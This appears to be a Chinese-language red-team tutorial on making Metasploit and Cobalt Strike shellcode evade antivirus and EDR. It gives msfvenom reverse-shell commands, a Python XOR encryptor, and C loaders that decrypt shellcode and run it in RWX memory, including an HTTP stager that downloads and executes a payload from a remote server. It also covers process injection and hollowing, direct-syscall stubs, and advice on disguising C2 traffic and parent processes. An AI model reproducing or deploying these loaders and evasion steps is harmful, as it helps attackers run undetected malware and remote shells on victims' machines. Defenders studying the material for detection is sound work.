1. 项目概述为什么我们要深入免杀Shellcode在安全攻防的世界里Shellcode就像一把万能钥匙它能让你在目标系统上打开一扇执行任意命令的大门。但现实是这扇大门前站着尽职尽责的保安——杀毒软件AV和终端检测与响应EDR系统。它们会仔细检查每一把试图插入的“钥匙”一旦发现上面有可疑的锯齿即恶意特征码就会立刻报警并没收。因此生成一把既能开门又能骗过保安眼睛的“钥匙”就成了红队和渗透测试人员必须掌握的核心技能。这个项目就是围绕这个核心需求展开的。我们不会停留在“如何使用msfvenom生成一个calc.exe”的层面而是要深入下去拆解杀软检测的原理并基于MSFMetasploit Framework和Cobalt Strike这两大主流工具手把手演示五种经过实战检验的免杀Shellcode生成方法。这五种方法从基础的编码混淆到中级的分离加载再到高级的内存操作规避层层递进。我的目标不是让你成为脚本小子而是让你理解每一种方法背后的“为什么”知道在什么场景下该用哪一招以及每一招可能踩到什么坑。对于刚入门的朋友你可以从这里建立起对免杀系统性、原理性的认知对于有一定经验的从业者这里总结的姿势和避坑指南或许能帮你优化现有的流程发现新的思路。毕竟攻防的本质是对抗与进化今天的免杀技巧明天可能就失效了但理解其对抗的逻辑才能以不变应万变。2. 核心思路理解杀软检测与我们的对抗策略在动手之前我们必须先搞清楚对手是怎么工作的。盲目地尝试各种编码器就像蒙着眼睛扔飞镖命中纯属运气。现代杀软和EDR的检测是一个多层次的立体防御体系我们的免杀策略也需要针对这些层次逐一设计。2.1 杀软检测的三道防线第一道防线是静态特征码检测。这是最传统、也最基础的方式。杀软厂商的分析师会提取已知恶意软件中的唯一字节序列比如一段特殊的Shellcode、一个固定的字符串或导入函数将其作为特征码录入数据库。当你的文件被扫描时杀软会快速进行字节级的比对。MSF生成的默认Shellcode其某些固定指令序列或载荷结构早已被各大厂商记录在案。第二道防线是启发式与行为分析。当静态特征没匹配上杀软会尝试在沙箱或虚拟环境中运行这个文件观察其行为。它会关注一些高危的API调用序列比如连续调用VirtualAlloc、WriteProcessMemory和CreateThread这几乎就是进程注入的“标准动作”。或者它会检查程序是否试图访问敏感位置、进行网络连接等。第三道防线是内存扫描与运行时检测。这是EDR的强项。即使你的载荷文件本身免杀成功运行并将Shellcode写入内存后EDR的驱动级钩子Hook或直接内存扫描如AMSI for PowerShell, ETW for .NET仍然可能捕获到内存中正在执行的、未经混淆的原始Shellcode字节码或者检测到可疑的内存操作行为。2.2 我们的免杀策略矩阵基于上述检测机制我们的五种姿势可以归纳为三个层面的对抗策略对抗静态扫描混淆与变形目标是让Shellcode的“长相”变得独一无二无法匹配特征库。这包括编码、加密、分割等手法。对应我们的姿势一MSF编码器和姿势二自定义异或加密。对抗行为分析分离与无文件目标是避免在初始载荷中呈现完整的恶意行为链。我们将Shellcode的存储与执行分离或者利用合法程序的内存空间来“寄生”。对应我们的姿势三分离式加载器和姿势四进程注入/傀儡进程。对抗内存扫描直接系统调用与规避这是最高级的对抗目标是让Shellcode在内存中的执行过程也对检测引擎“隐形”。这涉及到绕过用户态的API监控直接与内核交互。这将是**姿势五Hell‘s Gate/直接系统调用**要探讨的内容。理解了这个策略矩阵你就能明白为什么有时候简单的编码不起作用因为行为被检测了而有时候复杂的内存操作是必要的。接下来我们将进入实战环节从最简单的开始。3. 姿势一使用MSF编码器——快速入门与深度避坑这是绝大多数人的第一站。msfvenom内置了多种编码器如x86/shikata_ga_nai日语“无可奈何”之意、x86/fnstenv_mov等。它们的原理是在原始的Shellcode指令前添加一段解码器Decoder Stub。当Shellcode执行时先运行这段解码器它将内存中后续被编码/加密的Shellcode数据解码还原然后跳转到真正的入口点执行。3.1 基础命令与参数解析一个最基础的生成命令如下msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST192.168.1.100 LPORT4444 -f raw -o shellcode.bin这会产生一个原始的、未编码的Shellcode二进制文件其静态特征非常明显。我们加入编码msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST192.168.1.100 LPORT4444 -e x86/shikata_ga_nai -i 5 -f raw -o shellcode_encoded.bin-e x86/shikata_ga_nai: 指定编码器。-i 5: 指定迭代编码5次。多次迭代可以增加变异性。-f raw: 输出为原始二进制格式方便我们后续嵌入加载器。3.2 为什么单纯的MSF编码器越来越乏力shikata_ga_nai编码器本身是多项式编码它使用动态生成的密钥和多种运算加、减、异或、移位等来加密载荷并且每次编码时解码器的指令顺序、使用的寄存器都会变化这确实能有效对抗基于固定字节序列的特征码检测。但是它的局限性非常明显解码器特征本身已被标记虽然每次生成的解码器指令顺序不同但指令集和功能是固定的。杀软可以建立对“解码器行为模式”的检测而不仅仅是固定字节。shikata_ga_nai的解码器特征早已被广泛识别。无法对抗内存扫描编码器只保护了存储在文件中的Shellcode。一旦它被加载器解码到内存中还原后的Meterpreter Shellcode仍然是原来的样子。如果EDR对进程内存进行扫描这些明文的、特征明显的指令会被立刻发现。无法对抗行为分析编码不改变Shellcode的功能。它最终还是要调用VirtualAlloc、CreateThread等API这个行为序列很容易被启发式分析捕获。实操心得在今天的对抗环境中不要依赖单一的MSF编码器作为主要的免杀手段。它更像是一层“薄纱”可以拦一下最基础的静态扫描但对于稍有实力的防守方这层纱一捅就破。我通常只把它作为整个免杀流程中的一个可选的前置步骤或者用于应对那些只做简单特征匹配的古老杀软。3.3 进阶技巧编码器组合与-b参数你可以尝试组合不同的编码器或者使用-b参数来规避坏字符比如\x00空字符它在字符串操作中会被截断。msfvenom -p windows/shell_reverse_tcp LHOST192.168.1.100 LPORT4444 -e x86/shikata_ga_nai -i 3 -b \x00 -f c-f c输出为C语言数组格式方便直接复制到C加载器代码中。但请注意规避坏字符可能会使编码器选择更复杂的指令有时反而会增加特征。4. 姿势二自定义加密与解密器——掌握主动权当内置编码器失效时我们必须自己掌握加密的主动权。思路很简单我们用一个自己写的、独一无二的加密算法比如一个简单的异或循环在外部加密Shellcode然后写一个配套的解密器Loader来解密并执行它。这样静态的Shellcode文件特征完全由我们自定义的加密算法决定只要算法没被公开标记就能有效绕过静态检测。4.1 使用MSF生成原始载荷并自定义加密首先生成原始的、未编码的Shellcodemsfvenom -p windows/x64/meterpreter/reverse_tcp LHOST192.168.1.100 LPORT4444 -f raw beacon_raw.bin然后写一个简单的Python脚本进行异或加密import sys def xor_encrypt(data, key): encrypted bytearray() for i in range(len(data)): encrypted.append(data[i] ^ key[i % len(key)]) return bytes(encrypted) shellcode_file beacon_raw.bin output_file beacon_encrypted.bin xor_key bSuperSecretKey123 # 使用一个复杂的密钥 with open(shellcode_file, rb) as f: raw_shellcode f.read() encrypted_shellcode xor_encrypt(raw_shellcode, xor_key) with open(output_file, wb) as f: f.write(encrypted_shellcode) print(f[] Raw shellcode size: {len(raw_shellcode)}) print(f[] Encrypted shellcode saved to: {output_file}) print(f[] XOR Key: {xor_key.hex()})4.2 编写C语言解密加载器接下来我们需要一个加载器Loader它的功能是在内存中解密加密的Shellcode然后分配内存、复制过去并执行。#include windows.h #include stdio.h // 这里是你的加密后的Shellcode数组由上面的Python脚本生成可以粘贴进来 unsigned char encrypted_shellcode[] { 0x12, 0x45, 0x78, ... }; unsigned int shellcode_len sizeof(encrypted_shellcode); // 解密函数必须和加密算法对应 void xor_decrypt(unsigned char* data, unsigned int len, const char* key, unsigned int key_len) { for (unsigned int i 0; i len; i) { data[i] ^ key[i % key_len]; } } int main() { // 定义密钥必须和加密时一致 const char key[] SuperSecretKey123; unsigned int key_len sizeof(key) - 1; // 减去字符串结尾的\0 // 1. 在内存中解密Shellcode原地解密 xor_decrypt(encrypted_shellcode, shellcode_len, key, key_len); // 2. 申请一块可读、可写、可执行RWX的内存页 // 注意申请RWX内存是高度可疑的行为 void* exec_mem VirtualAlloc(0, shellcode_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (exec_mem NULL) { return -1; } // 3. 将解密后的Shellcode复制到这块内存 RtlMoveMemory(exec_mem, encrypted_shellcode, shellcode_len); // 4. 创建一个线程来执行这块内存中的代码 HANDLE threadHandle CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec_mem, 0, 0, 0); if (threadHandle NULL) { return -1; } // 5. 等待线程执行完毕对于反向Shell这里通常会一直等待 WaitForSingleObject(threadHandle, INFINITE); return 0; }4.3 此方法的优势与致命缺陷优势静态免杀效果好只要你的加密算法和密钥是独特的加密后的Shellcode字节流就是唯一的静态特征码检测几乎无法匹配。主动权高你可以使用AES、RC4等更复杂的加密算法甚至可以动态生成密钥。致命缺陷内存中的明文Shellcode和MSF编码器一样解密后原始的Meterpreter Shellcode在内存中是完全明文的。任何内存扫描技术如ETW TI提供的数据都能轻易发现它。加载器行为特征明显这个加载器代码本身包含了非常经典且可疑的API调用序列VirtualAlloc(PAGE_EXECUTE_READWRITE)-RtlMoveMemory-CreateThread。这被称为“经典进程注入”模式是所有EDR重点监控的行为。即使你的Shellcode加密得再好加载器一运行就会被行为检测抓个正着。密钥硬编码密钥直接写在代码里如果加载器被逆向密钥和算法将暴露无遗。注意事项自定义加密是一个重要的进步它让我们摆脱了对公开编码器的依赖。但是千万不要认为这就是免杀的终点。它主要解决的是静态文件扫描问题。在实战中这个加载器必须配合后续的行为规避技术如姿势四、五一起使用否则极易被拦截。5. 姿势三分离式加载——规避初始行为分析为了应对行为分析我们需要将“恶意行为”的发生时间点与初始程序启动的时间点分离。分离式加载Staged Loading是Cobalt Strike的默认模式也是MSF的常见用法。其核心思想是初始投放的载荷Stager非常小功能单一只负责连接攻击者下载完整的第二阶段载荷Stage/Beacon并执行。5.1 MSF的Stager与Stage在MSF中reverse_tcp就是一个典型的Stager。# 生成一个Stager第一阶段载荷 msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST192.168.1.100 LPORT4444 -f exe -o stager.exe这个stager.exe体积很小它的功能仅仅是连接到192.168.1.100:4444然后从该连接处接收完整的Meterpreter Stage一个DLL格式的载荷并加载到内存中。所有复杂的功能文件操作、键盘记录、提权等都在Stage里。5.2 Cobalt Strike的Beacon与StagerCobalt Strike将这个概念发挥到极致。它的beacon.exe是Stage而用于下载它的初始载荷叫Stager。在Cobalt Strike的Attack - Packages - Windows Executable (S) 中你可以生成一个Stager。Stager的优势初始文件小行为简单Stager本身可能只包含网络连接和内存加载代码恶意特征较少更容易绕过静态和简单的动态分析。Stage动态加载真正的恶意功能Beacon是在运行时从网络获取的不存储在初始磁盘文件上规避了基于磁盘文件的深度扫描。灵活性强攻击者可以随时更新StageBeacon而无需重新投递Stager。5.3 实现一个简单的HTTP分离加载器我们可以自己实现这个思路。假设我们将加密后的StageShellcode放在一个Web服务器上。步骤1生成并加密Stage用姿势二的方法生成一个windows/x64/meterpreter/reverse_http的Shellcode并加密上传到你的VPS的/payload.bin。步骤2编写一个简单的HTTP下载加载器这个加载器Stager的功能就是下载、解密、执行。#include windows.h #include wininet.h #include stdio.h #pragma comment(lib, wininet.lib) // 解密函数同姿势二 void xor_decrypt(unsigned char* data, unsigned int len, const char* key, unsigned int key_len) { for (unsigned int i 0; i len; i) { data[i] ^ key[i % key_len]; } } int main() { const char* url http://your-vps-ip/payload.bin; const char* key MyStageKey456; unsigned int key_len strlen(key); HINTERNET hInternet InternetOpenA(Mozilla/5.0, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0); HINTERNET hUrl InternetOpenUrlA(hInternet, url, NULL, 0, INTERNET_FLAG_RELOAD, 0); if (!hUrl) { InternetCloseHandle(hInternet); return -1; } // 读取HTTP响应数据到动态缓冲区 DWORD bytesRead 0; BYTE buffer[4096]; BYTE* payload NULL; DWORD totalSize 0; while (InternetReadFile(hUrl, buffer, sizeof(buffer), bytesRead) bytesRead 0) { BYTE* newPayload (BYTE*)realloc(payload, totalSize bytesRead); if (!newPayload) { free(payload); InternetCloseHandle(hUrl); InternetCloseHandle(hInternet); return -1; } payload newPayload; memcpy(payload totalSize, buffer, bytesRead); totalSize bytesRead; } InternetCloseHandle(hUrl); InternetCloseHandle(hInternet); if (payload totalSize 0) { // 解密 xor_decrypt(payload, totalSize, key, key_len); // 分配内存并执行 void* exec_mem VirtualAlloc(0, totalSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (exec_mem) { memcpy(exec_mem, payload, totalSize); CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec_mem, 0, 0, 0); WaitForSingleObject(GetCurrentThread(), INFINITE); // 简单等待 } free(payload); } return 0; }5.4 分离加载的优缺点与对抗优点有效分离了恶意代码的存储与执行载体规避了基于初始文件的深度检测。缺点与对抗网络流量特征Stager需要出网连接。HTTP/HTTPS的请求头、域名、IP地址可能被网络层IDS/IPS检测。需要使用域名前置Domain Fronting、CDN或常见云服务域名进行伪装。加载器行为依然存在虽然Stager功能简单但最终的VirtualAlloc(RWX)-memcpy-CreateThread这个加载行为依然存在会被用户态的钩子检测。这就需要我们升级到下一个姿势。实操心得分离式加载是实战中的标配。我几乎不会使用一个包含完整功能的单体可执行文件。将Stage放在远端不仅利于免杀还便于载荷的版本管理和应急响应可以随时关闭服务端终止攻击。关键是要处理好Stager本身的免杀通过姿势一、二和网络通信的隐蔽性。6. 姿势四进程注入与傀儡进程——在合法程序的影子里为了进一步规避行为检测我们不再自己创建可疑的RWX内存和线程而是“借用”一个正在运行的、可信的合法程序如explorer.exe,svchost.exe的内存空间来执行我们的Shellcode。这就是进程注入。6.1 远程线程注入CreateRemoteThread这是最经典的注入技术流程如下OpenProcess打开目标进程获取句柄需要适当的权限如PROCESS_ALL_ACCESS。VirtualAllocEx在目标进程的地址空间中分配一块内存通常为RWX权限。WriteProcessMemory将我们的Shellcode写入到目标进程刚分配的内存中。CreateRemoteThread在目标进程中创建一个远程线程线程的入口点指向我们写入的Shellcode地址。// 伪代码流程 HANDLE hTarget OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPid); LPVOID pRemoteMem VirtualAllocEx(hTarget, NULL, shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); WriteProcessMemory(hTarget, pRemoteMem, shellcode, shellcodeSize, NULL); CreateRemoteThread(hTarget, NULL, 0, (LPTHREAD_START_ROUTINE)pRemoteMem, NULL, 0, NULL);为什么能免杀因为恶意代码是在explorer.exe等白进程的上下文里执行的。一些简单的行为监控可能只关注进程的创建者而忽略了进程内部线程的异常行为。同时加载器进程我们编写的注入程序本身可能只执行了打开进程、分配内存、写入内存的操作这些操作单独看可疑度较低如果程序签名合法可能暂时绕过检测。为什么依然会被抓CreateRemoteThread这个API本身就是被重点监控的对象。任何进程试图在另一个进程创建线程都会触发EDR的高级别警报。此外在一个非自身进程中分配RWX内存也是极强的恶意指标。6.2 傀儡进程Process Hollowing——更隐蔽的注入傀儡进程技术更进一步。它不向一个已有的进程注入而是先创建一个合法的、处于挂起状态的进程如svchost.exe然后“挖空”其主线程原本要执行的内存区域通常是主模块的镜像填入我们的Shellcode最后恢复线程执行。基本步骤CreateProcess以CREATE_SUSPENDED标志创建一个合法进程如svchost.exe。此时进程主线程是挂起的。获取目标进程信息使用NtQueryInformationProcess等函数找到进程映像基址ImageBaseAddress。Unmap/释放内存使用NtUnmapViewOfSection释放目标进程中原有的映像内存。分配新内存在释放的基址处用VirtualAllocEx分配新的内存。写入Shellcode和PE头将我们的Shellcode或者一个完整的PE文件写入该内存并修复重定位等信息如果是PE文件。修改线程上下文修改挂起线程的上下文Context将其指令指针RIP/EIP指向我们Shellcode的入口点。ResumeThread恢复线程执行。优势 进程列表中看到的是完全合法的svchost.exe但其内部执行的却是我们的代码。这比远程线程注入更加隐蔽。劣势与检测点内存属性异常一个正常的svchost.exe进程其主模块内存属性应该是PAGE_EXECUTE_READ来自磁盘映像而不应该是PAGE_EXECUTE_READWRITE。我们分配RWX内存的行为是异常点。进程启动路径虽然进程名是svchost.exe但EDR可以检查其启动路径。如果我们是从一个临时目录或用户目录启动svchost.exe而不是C:\Windows\System32\这很可疑。ETW TIEvent Tracing for Windows Threat IntelligenceWindows的威胁情报事件追踪可以记录详细的进程创建、内存操作、线程创建事件。傀儡进程的CreateProcess(SUSPENDED)-VirtualAllocEx(RWX)-WriteProcessMemory-SetThreadContext-ResumeThread这一系列操作会被完整记录并关联分析形成明确的攻击链告警。注意事项进程注入技术是绕过行为检测的关键一步但它本身也充满了风险点。在高度监控的环境中简单的CreateRemoteThread注入几乎等同于“自首”。傀儡进程稍好但也需要对抗内存扫描和ETW。因此姿势四必须与姿势五系统调用结合使用才能最大化隐蔽效果。7. 姿势五直接系统调用Syscall与Hell‘s Gate——对抗用户态钩子这是当前绕过高级EDR检测的最有效手段之一。EDR为了监控用户态程序的行为会在关键的Windows API如NtAllocateVirtualMemory,NtCreateThreadEx函数开头插入一个“钩子”Hook。当程序调用这些API时会先跳到EDR的检测代码EDR检查通过后再执行真正的API功能。我们的对抗思路是绕过这些用户态的钩子直接调用内核层的系统调用Syscall。7.1 系统调用Syscall原理简介在Windows中用户态程序最终通过syscall指令或int 2eh等触发一个软中断进入内核态执行真正的系统服务。每个系统服务都有一个唯一的系统调用号SSN, System Service Number。NtAllocateVirtualMemory等函数本质上是封装了syscall指令和对应SSN的存根Stub。7.2 Hell‘s Gate与Halo‘s Gate技术直接硬编码SSN是不可靠的因为SSN随Windows版本甚至每次更新都可能变化。Hell‘s Gate技术通过一种动态的方法来获取SSN。其核心步骤是解析ntdll.dllntdll.dll是用户态通往内核的桥梁里面包含了所有NtXxx函数的存根代码。我们需要在自己的进程内存中找到加载的ntdll.dll的基址。查找目标函数在ntdll.dll的导出表中找到例如NtAllocateVirtualMemory函数的地址。读取SSN解析该函数开头的一段机器码从中提取出syscall指令前面的那个立即数那就是SSN。例如函数开头可能是mov eax, SSN然后syscall。组装自己的存根我们知道了SSN就可以在内存中组装一段汇编代码mov r10, rcx; mov eax, SSN; syscall; ret;x64调用约定然后跳转到这段代码执行这样就绕过了EDR在原始NtAllocateVirtualMemory函数开头设置的钩子。Halo‘s Gate是Hell‘s Gate的增强版它解决了EDR可能也钩住了ntdll.dll中syscall指令附近代码的问题。它的思路是不从当前进程的ntdll.dll读取SSN而是从另一个干净的、未被钩住的进程如csrss.exe的内存中去读取其ntdll.dll里对应函数的SSN和syscall指令地址确保获取到的是最原始、未被篡改的信息。7.3 实现一个直接的Syscall Shellcode加载器我们不会在这里写完整的Halo‘s Gate代码那很复杂但可以展示概念。假设我们已经通过某种方式比如从csrss.exe获取到了正确的SSN。#include windows.h // 假设我们已经获取到的SSN (例如Win10 21H2上 NtAllocateVirtualMemory 的 SSN 可能是 0x18) #define SSN_NtAllocateVirtualMemory 0x18 #define SSN_NtWriteVirtualMemory 0x3a #define SSN_NtCreateThreadEx 0xc1 // 一个简化的、内联汇编的直接syscall函数示例 (x64) // 实际项目中你需要用更安全的方式动态获取和调用 __declspec(naked) NTSTATUS MyNtAllocateVirtualMemory( HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect) { __asm { mov r10, rcx mov eax, SSN_NtAllocateVirtualMemory // 这里应该是动态获取的值 syscall ret } } int main() { // 你的加密Shellcode unsigned char shellcode[] { ... }; SIZE_T shellcodeSize sizeof(shellcode); PVOID baseAddr NULL; SIZE_T regionSize shellcodeSize; HANDLE hProcess GetCurrentProcess(); HANDLE hThread NULL; // 1. 使用直接syscall分配内存 NTSTATUS status MyNtAllocateVirtualMemory( hProcess, baseAddr, 0, ®ionSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (status ! 0) { /* 错误处理 */ } // 2. 使用直接syscall写入内存 (这里需要另一个函数MyNtWriteVirtualMemory) // status MyNtWriteVirtualMemory(hProcess, baseAddr, shellcode, shellcodeSize, NULL); // 3. 使用直接syscall创建线程 (需要MyNtCreateThreadEx) // status MyNtCreateThreadEx(hThread, GENERIC_ALL, NULL, hProcess, baseAddr, NULL, ...); // 4. 等待线程 // WaitForSingleObject(hThread, INFINITE); return 0; }7.4 直接系统调用的挑战与最佳实践挑战复杂度高需要深入理解Windows内部机制、PE结构、汇编语言。稳定性SSN随系统版本变化动态获取逻辑必须健壮。错误的SSN会导致蓝屏BSOD。仍然不是银弹内核态EDR如驱动程序仍然可以通过监控系统调用表SSDT或使用内核回调Kernel Callbacks来检测恶意活动。但这需要更高的权限和更复杂的对抗。最佳实践结合使用将直接系统调用与之前的姿势结合。例如用Syscall执行进程注入或傀儡进程的关键步骤分配内存、写入内存、创建线程。使用成熟框架在实际红队操作中更推荐使用已经实现了这些高级规避技术的成熟框架或工具如Cobalt Strike的Artifact Kit和Sleep Mask或者Brute Ratel C4等。它们经过了充分测试稳定性更高。持续研究攻防在不断升级。EDR厂商也在研究检测直接系统调用的方法如检测syscall指令来自非ntdll.dll的内存区域。需要关注最新的绕过技术如间接系统调用Indirect Syscall即从ntdll.dll中拷贝一段包含syscall的合法指令序列到自己的内存中执行使得调用栈看起来更自然。实操心得直接系统调用是当前绕过用户态钩子的最有效方法。对于严肃的对抗测试我使用的加载器一定会集成某种形式的Syscall。但是我不建议从零开始造轮子除非你有极强的逆向和系统编程能力。更好的方式是学习并修改开源项目如Hell‘s GatePoC或者直接利用Cobalt Strike的Malleable C2 profile来配置这些行为。记住隐蔽性是一个整体工程Syscall解决了API监控问题但你还需要考虑进程行为链、网络流量、父进程子进程关系等多个维度的对抗。8. 整合与实战构建一个多层免杀载荷现在让我们把以上姿势串联起来设计一个具备多层免杀能力的实战载荷。我们的目标是生成一个可执行文件Stager它能通过常见的杀软静态扫描运行时能规避用户态行为监控最终稳定地接收到一个Cobalt Strike Beacon。设计流程生成Stage在Cobalt Strike中生成一个windows/beacon_http/reverse_http的原始ShellcodeRaw格式。自定义加密Stage使用一个独特的算法如AES-256-CBC加密这个Shellcode。将加密后的数据保存为payload.enc上传到Web服务器。编写高级加载器Stager语言选择使用Go或Rust编写。它们编译出的程序本身静态分析难度大且可以方便地实现跨平台编译和符号剥离。网络通信实现一个简单的HTTP Client去下载payload.enc。使用常见的User-Agent甚至伪装成浏览器流量。内存操作在内存中解密下载的数据。关键点使用直接系统调用或通过syscall包装库来执行NtAllocateVirtualMemory和NtCreateThreadEx避免用户态钩子。注入目标不注入自身。可以选择一个合法的、活跃的进程如explorer.exe进行进程注入。注入时同样使用系统调用完成内存分配和线程创建。清理痕迹加载器执行完毕后可以自行退出。恶意代码在explorer.exe中运行。对Stager进行混淆对编译好的Go/Rust加载器可执行文件进行加壳如UPX但注意UPX本身有特征、或使用二进制混淆工具进一步模糊其导入表和代码段增加静态分析难度。分发这个最终的Stager.exe就是我们投递的初始文件。这个流程融合了姿势二自定义加密、姿势三分离加载、姿势四进程注入和姿势五直接系统调用形成了一个纵深防御的免杀链条。9. 常见问题与排查技巧实录在实际操作中你会遇到各种各样的问题。这里记录一些我踩过的坑和解决方法。9.1 Shellcode执行崩溃ExitProcess/ExitThread问题描述Shellcode加载后进程立刻崩溃退出没有建立连接。原因分析权限问题Meterpreter的reverse_tcp等Stager需要网络连接权限。如果被注入的进程如某些系统服务进程运行在受限的权限或会话中可能无法出网。环境差异Shellcode可能依赖特定的DLL或环境变量。在注入到不同进程时这些条件可能不满足。堆栈对齐x64系统对函数调用时的堆栈对齐16字节对齐有严格要求。如果你的Shellcode入口点没有处理好堆栈会导致崩溃。加密/解密错误解密后的Shellcode字节错误导致CPU执行了非法指令。排查步骤简化测试首先在一个最简单的Hello World式的C加载器中运行未加密的原始Shellcode确认Shellcode本身和你的基础加载逻辑没问题。使用调试器将你的加载器附加到调试器如x64dbg。在Shellcode执行入口点即CreateThread或CreateRemoteThread指定的地址设置断点。单步跟踪几步看崩溃发生在哪条指令。如果是非法指令说明Shellcode数据损坏。检查解密在解密后、执行前将解密出的内存数据保存到文件与原始的、未加密的Shellcode二进制文件进行fc /bWindows或diffLinux比对确保完全一致。尝试不同进程如果注入explorer.exe失败尝试注入notepad.exe或自身进程进行测试。9.2 杀软/EDR绕过失败问题描述精心制作的载荷仍然被检测到。原因分析免杀是动态对抗。可能的原因有静态特征你的加载器本身即使是Go/Rust编写可能包含了某些特征字符串、导入函数序列或代码模式被标记。行为特征虽然用了Syscall但你的进程操作序列打开进程-分配RWX内存-写入-创建远程线程在ETW事件中形成了可关联的告警链。网络特征Stager连接的IP、域名、URL路径或HTTP头特征被列入威胁情报库。父进程分析你的加载器进程的父进程、启动路径、命令行参数不正常例如explorer.exe通常不会由用户的Downloads目录下的未知exe启动。排查与优化静态分析自查使用PE-bear、Detect It Easy等工具分析你生成的exe。检查导入表是否包含了过于敏感的函数如VirtualAllocEx,WriteProcessMemory,CreateRemoteThread。尝试使用工具去除或混淆这些导入表。模拟EDR分析使用Sysmon配置安全的日志记录记录你载荷运行时的所有进程、文件、网络事件。分析日志看你的操作产生了哪些事件ID思考如何减少或混淆这些事件。流量伪装使用HTTPS而不是HTTP。Stage下载的URL路径模仿正常的网站资源如/js/jquery.min.js,/images/logo.png。User-Agent使用常见的浏览器字符串。考虑使用域名前置Domain Fronting或CDN来隐藏真实C2服务器。进程链伪装让你的加载器被一个合法的进程启动。例如通过计划任务、服务、WMI事件订阅等方式使得父进程是svchost.exe或taskeng.exe。使用Malleable C2 ProfileCobalt Strike这是Cobalt Strike的强大功能。你可以通过Profile精细控制Beacon的每一个行为如何注入、注入到哪个进程、内存分配方式、系统调用方式、网络通信的格式和节奏等。一个配置良好的Profile能极大提升隐蔽性。9.3 关于Cobalt Strike Artifact Kit和Sleep MaskArtifact Kit用于生成免杀的可执行文件、DLL、服务EXE等“工件”。你可以定制Stager的源码C/S编译时进行混淆和免杀处理。Sleep Mask当Beacon处于睡眠Sleep状态时它会将其内存中的配置信息和代码段进行加密隐藏使EDR的内存扫描在Beacon睡眠时找不到任何特征。这是对抗内存扫描的利器。在高级别的对抗中熟练使用和定制这些工具是必不可少的。它们将很多底层的免杀技术如直接系统调用、内存加密封装成了可配置的选项。免杀是一场持续的战斗没有一劳永逸的方案。今天有效的技术明天可能就被检测。最重要的是理解每一层技术背后的原理保持学习在实战中不断测试和迭代你的方法。从理解杀软原理开始到能组合运用多种姿势生成自己的免杀Shellcode这个过程本身就是安全攻防能力的一次实质性飞跃。